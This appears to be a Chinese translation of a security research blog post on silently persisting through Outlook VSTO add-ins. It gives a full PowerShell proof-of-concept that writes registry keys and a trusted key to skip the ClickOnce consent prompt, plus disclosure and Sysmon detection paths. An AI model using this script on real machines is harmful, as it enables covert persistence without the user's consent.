2019年,我一直在研究新的隐蔽持久性技术。这些技术(误)用目标计算机上的程序插件,激发了我的灵感。比较有趣的目标是浏览器,电子邮件客户端和发消息的app,因为它们通常在系统启动后启动。
浏览其他人的文章时,我发现@bohops写了一篇叫《VSTO:可能破坏应用程序白名单规则的有效载荷安装程序》(https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/)的文章。他展示了如何创建“恶意VSTO”,并将其安装到Office中。他的结论是,如果账户没有特权,vstoinstaller.exe会弹出窗口(“ClickOnce”),请求用户许可:
(@bohops的屏幕截图)
从攻击者的角度来看,绕过“ ClickOnce”弹出窗口非常有价值,因此我决定对vstoinstaller.exe安装VSTO加载项的方式进行更深入的研究。单击这个弹窗,启动Procmon,过滤vstoinstaller.exe进程。首先,查看HKCU的注册表项,这是安装的关键部分。
这些注册表项很有趣,且和VSTO的安装相关。我再次卸载插件,用vstoinstaller.exe /uninstall删除特定的注册表项。
用常规方法再次安装VSTO会再次触发弹窗,所以我卸载了已经安装的VSTO。
接下来,我编写了一个PowerShell脚本,设置正确的注册表项和值,测试Outlook加载项是否将由Outlook加载,任何请求用户同意的窗口都不会弹出来。我认为绕过“ ClickOnce”弹窗的技术归根结底就是在HKCU:\Software\Microsoft\VSTO\Security\Inclusion\中添加用于签署VSTO的证书的公钥。
function Install-OutlookAddin {
<#
.SYNOPSIS
Installs an Outlook add-in.
Author: @_vivami
.PARAMETER PayloadPath
The path of the DLL and manifest files
.EXAMPLE
PS> Install-OutlookAddin -PayloadPath C:\Path\to\Addin.vsto
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]
$PayloadPath
)
$RegistryPaths =
@("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata"),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"),
@("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a")
$RegistryPaths | foreach {
if(-Not (Test-Path ($_))) {
try {
New-Item -Path $($_) -Force | Out-Null
} catch {
Write-Error "Failed to set entry $($_)."
}
}
}
$RegistryKeys =
@("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension", "(Default)", ""),
@("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension", "Description", "Outlook Extension"),
@("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension", "FriendlyName", "Outlook Extension"),
@("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension", "Manifest", "file:///$PayloadPath"),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata", "(Default)", ""),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata", "file:///$PayloadPath", "{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "(Default)", ""),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "addInName", ""),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "officeApplication", ""),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "friendlyName", ""),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "description", ""),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "loadBehavior", ""),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "compatibleFrameworks", "<compatibleFrameworks xmlns=`"urn:schemas-microsoft-com:clickonce.v2`">`n`t<framework targetVersion=`"4.0`" profile=`"Full`" supportedRuntime=`"4.0.30319`" />`n`t</compatibleFrameworks>"),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}", "PreferredClr", "v4.0.30319"),
@("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a", "Url", "file:///$PayloadPath"),
@("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a", "PublicKey", "<RSAKeyValue><Modulus>yDCewQWG8XGHpxD57nrwp+EZInIMenUDOXwCFNAyKLzytOjC/H9GeYPnn0PoRSzwvQ5gAfb9goKlN3fUrncFJE8QAOuX+pqhnchgJDi4IkN7TDhatd/o8X8O5v0DBoqBVQF8Tz60DpcH55evKNRPylvD/8EG/YuWVylSwk8v5xU=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>")
foreach ($KeyPair in $RegistryKeys) {
New-ItemProperty -Path $KeyPair[0] -Name $KeyPair[1] -Value $KeyPair[2] -PropertyType "String" -Force | Out-Null
}
Write-Host "Done."
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension" -Name "Loadbehavior" -Value 0x00000003 -Type DWord | Out-Null
}
function Remove-OutlookAddin {
<#
.SYNOPSIS
Removes the Outlook add-in
Author: @_vivami
.EXAMPLE
PS> Remove-OutlookAddin
#>
$RegistryPaths =
@("HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"),
@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata"),
#@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"),
@("HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a")
$RegistryPaths | foreach {
Remove-Item -Path $($_) -Force -Recurse
}
}
果然,它奏效了!加载项是Outlook在启动时安装和加载的,没有弹出窗口。
查看Sysinternals的AutoRun,可以看到VSTO加载项没有被检测到。
MSRC
我已经联系Microsoft安全响应中心,但是由于这并不违反安全规则,所以这个bug不被认为是漏洞,无法修复。
检测
检测这种持久性技术,要在以下路径上监视“ RegistryEvent值集”事件(Sysmon事件ID 13):
HKCU:\Software\Microsoft\Office\Outlook\Addins\
HKCU:\Software\Microsoft\Office\Word\Addins\
HKCU:\Software\Microsoft\Office\Excel\Addins\
HKCU:\Software\Microsoft\Office\Powerpoint\Addins\
HKCU:\Software\Microsoft\VSTO\Security\Inclusion\
你可以在我的GitHub存储库(GitHub - vivami/OutlookParasite: Outlook persistence using VSTO add-ins)上找到PoC代码,自己上手操作。
木星安全实验室(MxLab),由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、数据保护、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究。